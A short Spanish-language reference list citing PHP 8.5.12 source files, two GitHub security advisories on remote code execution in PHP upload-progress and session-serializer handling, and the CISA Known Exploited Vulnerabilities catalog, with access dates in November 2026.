php-8.5.12,main/rfc1867.c: https://github.com/php/php-src/blob/php-8.5.12/main/rfc1867.c (consultado el 19 de noviembre de 2026) - Código fuente de PHP en la etiqueta
php-8.5.12,ext/standard/var_unserializer.re: https://github.com/php/php-src/blob/php-8.5.12/ext/standard/var_unserializer.re (consultado el 19 de noviembre de 2026) - GHSA-6wmf-4rv5-p3rp, «RCE via stale global state», el aviso del 2026-10-21 que recomienda desactivar el progreso de carga: https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp (consultado el 19 de noviembre de 2026)
- GHSA-658j-r8rw-q6mx / CVE-2026-115560, «Session serializer mismatch can lead to remote code execution» (CVSS v4.0 9.2 CRITICAL), publicado el 2026-11-19: https://github.com/php/php-src/security/advisories/GHSA-658j-r8rw-q6mx y https://www.cve.org/CVERecord?id=CVE-2026-115560 (consultado el 19 de noviembre de 2026)
- Catálogo Known Exploited Vulnerabilities de CISA, versión 2026.11.18, CVE-2026-115560 ausente: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (consultado el 19 de noviembre de 2026)